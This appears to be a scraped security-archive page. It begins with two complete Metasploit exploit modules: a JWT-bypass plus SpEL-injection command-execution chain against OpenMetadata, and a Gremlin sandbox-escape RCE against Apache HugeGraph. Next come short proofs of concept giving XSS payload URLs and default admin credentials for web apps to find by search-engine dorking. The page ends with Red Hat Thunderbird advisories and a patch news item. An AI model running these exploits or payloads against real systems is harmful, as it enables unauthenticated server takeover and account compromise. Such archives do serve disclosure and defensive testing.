This Metasploit module exploits OpenMetadata versions 1.2.3 and below by chaining an API authentication bypass using JWT tokens along with a SpEL injection vulnerability to achieve arbitrary command execution.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'OpenMetadata authentication bypass and SpEL injection exploit chain',        'Description' => %q{          OpenMetadata is a unified platform for discovery, observability, and governance powered          by a central metadata repository, in-depth lineage, and seamless team collaboration.          This module chains two vulnerabilities that exist in the OpenMetadata aplication.          The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.          It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded          endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters          to make any path contain any arbitrary strings that will match the excluded endpoint condition          and therefore will be processed with no JWT validation allowing an attacker to bypass the          authentication mechanism and reach any arbitrary endpoint.          By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL injection          at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`, attackers          are able to run arbitrary commands using Java classes such as `java.lang.Runtime` without any          authentication.          OpenMetadata versions `1.2.3` and below are vulnerable.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor          'Alvaro Muñoz alias pwntester (https://github.com/pwntester)' # Original discovery        ],        'References' => [          ['CVE', '2024-28255'],          ['CVE', '2024-28254'],          ['URL', 'https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/'],          ['URL', 'https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255'],          ['URL', 'https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/']        ],        'DisclosureDate' => '2024-03-15',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD],        'Privileged' => false,        'Targets' => [          [            'Automatic',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'rport' => 8585,          'FETCH_COMMAND' => 'WGET'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The URI path of the OpenMetadata web application', '/'])      ]    )  end  def execute_command(cmd, _opts = {})    # list of paths that require no authentication    unauthed_paths = [      '/api/v1;v1%2Fv1%2Fusers%2Flogin',      '/api/v1;v1%2Fv1%2Fusers%2Fsignup',      '/api/v1;v1%2Fv1%2Fusers%2FregistrationConfirmation',      '/api/v1;v1%2Fv1%2Fusers%2FresendRegistrationToken',      '/api/v1;v1%2Fv1%2Fusers%2FgeneratePasswordResetLink',      '/api/v1;v1%2Fv1%2Fusers%2Fpassword%2Freset',      '/api/v1;v1%2Fv1%2Fusers%2FcheckEmailInUse',      '/api/v1;v1%2Fv1%2Fusers%2Frefresh',      '/api/v1;v1%2Fv1%2Fsystem%2Fconfig',      '/api/v1;v1%2Fv1%2Fsystem%2Fversion'    ]    # $@|sh – Getting a shell environment from Runtime.exec    cmd = "sh -c $@|sh . echo #{cmd}"    cmd_b64 = Base64.strict_encode64(cmd)    spel_payload = "T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(\"#{cmd_b64}\")))"    unauthed_paths.shuffle!.each do |path|      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, path, 'events', 'subscriptions', 'validation', 'condition', spel_payload),        'method' => 'GET'      })      break if res.code == 400 && res.body.include?('EL1001E')    end  end  def check    print_status('Trying to detect if target is running a vulnerable version of OpenMetadata.')    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path),      'method' => 'GET'    })    return CheckCode::Unknown('Could not detect OpenMetadata.') unless res && res.code == 200 && res.body.include?('OpenMetadata')    # try to dectect version    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'version'),      'method' => 'GET'    })    return CheckCode::Detected('Could not retrieve the version information.') unless res && res.code == 200    # parse json response and get the version    res_json = res.get_json_document    unless res_json.blank?      version = res_json['version']      version_number = Rex::Version.new(version.gsub(/[[:space:]]/, '')) unless version.nil?    end    return CheckCode::Detected('Could not retrieve the version information.') if version_number.nil?    return CheckCode::Appears("Version #{version_number}") if version_number <= Rex::Version.new('1.2.3')    CheckCode::Safe("Version #{version_number}")  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    execute_command(payload.encoded)  endend

OpenMetadata 1.2.3 Authentication Bypass / SpEL Injection

This Metasploit module exploits CVE-2024-27348, a remote code execution vulnerability that exists in Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve remote code execution through Gremlin, resulting in complete control over the server.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache HugeGraph Gremlin RCE',        'Description' => %q{          This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in          Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve          RCE through Gremlin, resulting in complete control over the server        },        'Author' => [          '6right', # discovery          'jheysel-r7' # module        ],        'References' => [          [ 'URL', 'https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/'],          [ 'CVE', '2024-27348']        ],        'License' => MSF_LICENSE,        'Platform' => %w[unix linux],        'Privileged' => true,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [ 'Automatic Target', {}]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2024-04-22',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, ],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options([      Opt::RPORT(8080),      OptString.new('TARGETURI', [true, 'Base path to the Apache HugeGraph web application', '/'])    ])  end  def check    res = send_request_cgi({      'method' => 'GET'    })    return CheckCode::Unknown('No response from the vulnerable endpoint /gremlin') unless res    return CheckCode::Unknown("The response from the vulnerable endpoint /gremlin was: #{res.code} (expected: 200)") unless res.code == 200    version = res.get_json_document&.dig('version')    return CheckCode::Unknown('Unable able to determine the version of Apache HugeGraph') unless version    if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0'))      return CheckCode::Appears("Apache HugeGraph version detected: #{version}")    end    CheckCode::Safe("Apache HugeGraph version detected: #{version}")  end  def exploit    print_status("#{peer} - Running exploit with payload: #{datastore['PAYLOAD']}")    class_name = rand_text_alpha(4..12)    thread_name = rand_text_alpha(4..12)    command_name = rand_text_alpha(4..12)    process_builder_name = rand_text_alpha(4..12)    start_method_name = rand_text_alpha(4..12)    constructor_name = rand_text_alpha(4..12)    field_name = rand_text_alpha(4..12)    java_payload = <<~PAYLOAD      Thread #{thread_name} = Thread.currentThread();      Class #{class_name} = Class.forName(\"java.lang.Thread\");      java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\");      #{field_name}.setAccessible(true);      #{field_name}.set(#{thread_name}, \"#{thread_name}\");      Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");      java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);      java.util.List #{command_name} = java.util.Arrays.asList(#{"bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash".strip.split(' ').map { |element| "\"#{element}\"" }.join(', ')});      Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});      java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\");      #{start_method_name}.invoke(#{process_builder_name});    PAYLOAD    data = {      'gremlin' => java_payload,      'bindings' => {},      'language' => 'gremlin-groovy',      'aliases' => {}    }    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/gremlin'),      'method' => 'POST',      'ctype' => 'application/json',      'data' => data.to_json    })    print_error('Unexpected response from the vulnerable exploit') unless res && res.code == 200  endend

Apache HugeGraph Gremlin Remote Code Execution

Feberr version 13.4 suffers from an ignored default credential vulnerability.

**Feberr 13.4 Insecure Settings**

Posted Aug 15, 2024

Authored by indoushka

Feberr version 13.4 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 2e393c441ce609493774dac1c3e5f681c5ce98d1b3702bb114041fdb03335768

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**Feberr 13.4 Insecure Settings**

    ====================================================================================================================================| # Title     : Feberr v13.4 Insecure Settings Vulnerability                                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.codester.com/items/14224/feberr-multivendor-digital-products-marketplace                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user&pass: admin[+] https://www/127.0.0.1/nexuscriptscom/admin/pwa-settingsGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Feberr 13.4 Insecure Settings

Farmacia Gama version 1.0 suffers from a cross site scripting vulnerability.

**Farmacia Gama 1.0 Cross Site Scripting**

Posted Aug 15, 2024

Authored by indoushka

Farmacia Gama version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 2caf36ad25ddb5e5fcd4a26fd8ac2e62e0dee3d76fbd95e698130d2b8730632e

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**Farmacia Gama 1.0 Cross Site Scripting**

    =============================================================================================================================================| # Title     : Farmacia Gama v1.0 XSS Vulnerability                                                                                        || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://download-media.code-projects.org/2020/04/Farmacia_IN_PHP_CSS_JavaScript_AND_MYSQL__FREE_DOWNLOAD.zip                |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /main.php?notaFiscal=333962'"()%26%25<acx><ScRiPt >prompt(926815)</ScRiPt>&pg=vendas[+] http://127.0.0.1/farmacia-master/main.php?notaFiscal=333962'"()%26%25<acx><ScRiPt >prompt(926815)</ScRiPt>&pg=vendasGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

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Farmacia Gama 1.0 Cross Site Scripting

Covid-19 Contact Tracing System version 1.0 suffers from a cross site scripting vulnerability.

**Covid-19 Contact Tracing System 1.0 Cross Site Scripting**

Posted Aug 15, 2024

Authored by indoushka

Covid-19 Contact Tracing System version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | daa17a59d2ea2f605f71d11b3ba6860a33f90c5ea08d666ce8a3af42e59af5fa

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**Covid-19 Contact Tracing System 1.0 Cross Site Scripting**

    =============================================================================================================================================| # Title     : Covid-19 Contact Tracing System 1.0 XSS Vulnerability                                                                       || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/cts_qr_1.zip                                          |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /cts_qr/admin/?page=system_info'%22()%26%25<acx><ScRiPt%20>prompt(901045)</ScRiPt>[+] http://localhost/cts_qr/admin/?page=system_info%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(901045)%3C/ScRiPt%3EGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

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Covid-19 Contact Tracing System 1.0 Cross Site Scripting

Red Hat Security Advisory 2024-5402-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 8. Issues addressed include out of bounds read and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5402.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: thunderbird security update  
Advisory ID:        RHSA-2024:5402-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:5402  
Issue date:         2024-08-15  
Revision:           03  
CVE Names:          CVE-2024-7518  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

Security Fix(es):

* Thunderbird: 115.14/128.1 ()

* mozilla: Fullscreen notification dialog can be obscured by document content (CVE-2024-7518)

* mozilla: Out of bounds memory access in graphics shared memory handling (CVE-2024-7519)

* mozilla: Type confusion in WebAssembly (CVE-2024-7520)

* mozilla: Incomplete WebAssembly exception handing (CVE-2024-7521)

* mozilla: Out of bounds read in editor component (CVE-2024-7522)

* mozilla: Missing permission check when creating a StreamFilter (CVE-2024-7525)

* mozilla: Uninitialized memory used by WebGL (CVE-2024-7526)

* mozilla: Use-after-free in JavaScript garbage collection (CVE-2024-7527)

* mozilla: Use-after-free in IndexedDB (CVE-2024-7528)

* mozilla: Document content could partially obscure security prompts (CVE-2024-7529)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-7518

References:

https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2024-5402-03

Red Hat Security Advisory 2024-5396-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 9.2 Extended Update Support. Issues addressed include out of bounds read and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5396.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: thunderbird security update  
Advisory ID:        RHSA-2024:5396-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:5396  
Issue date:         2024-08-15  
Revision:           03  
CVE Names:          CVE-2024-7518  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

Security Fix(es):

* EMBARGOED Thunderbird: 115.14/128.1 ()

* mozilla: Fullscreen notification dialog can be obscured by document content (CVE-2024-7518)

* mozilla: Out of bounds memory access in graphics shared memory handling (CVE-2024-7519)

* mozilla: Type confusion in WebAssembly (CVE-2024-7520)

* mozilla: Incomplete WebAssembly exception handing (CVE-2024-7521)

* mozilla: Out of bounds read in editor component (CVE-2024-7522)

* mozilla: Missing permission check when creating a StreamFilter (CVE-2024-7525)

* mozilla: Uninitialized memory used by WebGL (CVE-2024-7526)

* mozilla: Use-after-free in JavaScript garbage collection (CVE-2024-7527)

* mozilla: Use-after-free in IndexedDB (CVE-2024-7528)

* mozilla: Document content could partially obscure security prompts (CVE-2024-7529)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-7518

References:

https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2024-5396-03

Red Hat Security Advisory 2024-5395-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions. Issues addressed include out of bounds read and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5395.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: thunderbird security update  
Advisory ID:        RHSA-2024:5395-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:5395  
Issue date:         2024-08-15  
Revision:           03  
CVE Names:          CVE-2024-7518  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

Security Fix(es):

* EMBARGOED Thunderbird: 115.14/128.1 ()

* mozilla: Fullscreen notification dialog can be obscured by document content (CVE-2024-7518)

* mozilla: Out of bounds memory access in graphics shared memory handling (CVE-2024-7519)

* mozilla: Type confusion in WebAssembly (CVE-2024-7520)

* mozilla: Incomplete WebAssembly exception handing (CVE-2024-7521)

* mozilla: Out of bounds read in editor component (CVE-2024-7522)

* mozilla: Missing permission check when creating a StreamFilter (CVE-2024-7525)

* mozilla: Uninitialized memory used by WebGL (CVE-2024-7526)

* mozilla: Use-after-free in JavaScript garbage collection (CVE-2024-7527)

* mozilla: Use-after-free in IndexedDB (CVE-2024-7528)

* mozilla: Document content could partially obscure security prompts (CVE-2024-7529)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-7518

References:

https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2024-5395-03

Bhojon Restaurant Management System version 2.9 suffers from an ignored default credential vulnerability.

**Bhojon Restaurant Management System 2.9 Insecure Settings**

Posted Aug 15, 2024

Authored by indoushka

Bhojon Restaurant Management System version 2.9 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | d6e06dde4900dda1d73c9d43d3fd7bdc675753e54128cdc173c7bd195c2bae96

Download | Favorite | View

**Bhojon Restaurant Management System 2.9 Insecure Settings**

    ====================================================================================================================================| # Title     : Bhojon restaurant management system v2.9 Insecure Settings Vulnerability                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.bdtask.com/restaurant-management-system.php#live_demo                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin@example.com & pass = 12345[+] https://www/127.0.0.1/somrestocom/dashboard/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Bhojon Restaurant Management System 2.9 Insecure Settings

SolarWinds has released patches to address a critical security vulnerability in its Web Help Desk software that could be exploited to execute arbitrary code on susceptible instances.
The flaw, tracked as CVE-2024-28986 (CVSS score: 9.8), has been described as a deserialization bug.
"SolarWinds Web Help Desk was found to be susceptible to a Java deserialization remote code execution vulnerability

Enterprise Security / Vulnerability

SolarWinds has released patches to address a critical security vulnerability in its Web Help Desk software that could be exploited to execute arbitrary code on susceptible instances.

The flaw, tracked as CVE-2024-28986 (CVSS score: 9.8), has been described as a deserialization bug.

"SolarWinds Web Help Desk was found to be susceptible to a Java deserialization remote code execution vulnerability that, if exploited, would allow an attacker to run commands on the host machine," the company said in an advisory.

"While it was reported as an unauthenticated vulnerability, SolarWinds has been unable to reproduce it without authentication after thorough testing."

The flaw impacts all versions of SolarWinds Web Help Desk including and prior to 12.8.3. It has been addressed in hotfix version 12.8.3 HF 1.

The disclosure comes as Palo Alto Networks patched a high-severity vulnerability affecting Cortex XSOAR that could result in command injection and code execution.

Assigned the CVE identifier CVE-2024-5914 (CVSS score: 7.0), the shortcoming impacts all versions of Cortex XSOAR CommonScripts before 1.12.33.

"A command injection issue in Palo Alto Networks Cortex XSOAR CommonScripts Pack allows an unauthenticated attacker to execute arbitrary commands within the context of an integration container," the company said.

"To be exposed, an integration must make use of the ScheduleGenericPolling or GenericPollingScheduledTask scripts from the CommonScripts pack."

Also addressed by Palo Alto Networks are two moderate-severity issues listed below -

*   CVE-2024-5915 (CVSS score: 5.2) - A privilege escalation (PE) vulnerability in the GlobalProtect app on Windows devices that enables a local user to execute programs with elevated privileges

*   CVE-2024-5916 (CVSS score: 6.0) - An information exposure vulnerability in PAN-OS software that enables a local system administrator to access secrets, passwords, and tokens of external systems

Users are recommended to update to the latest version to mitigate potential risks. As a precautionary measure, it's also advised to revoke the secrets, passwords, and tokens that are configured in PAN-OS firewalls after the upgrade.

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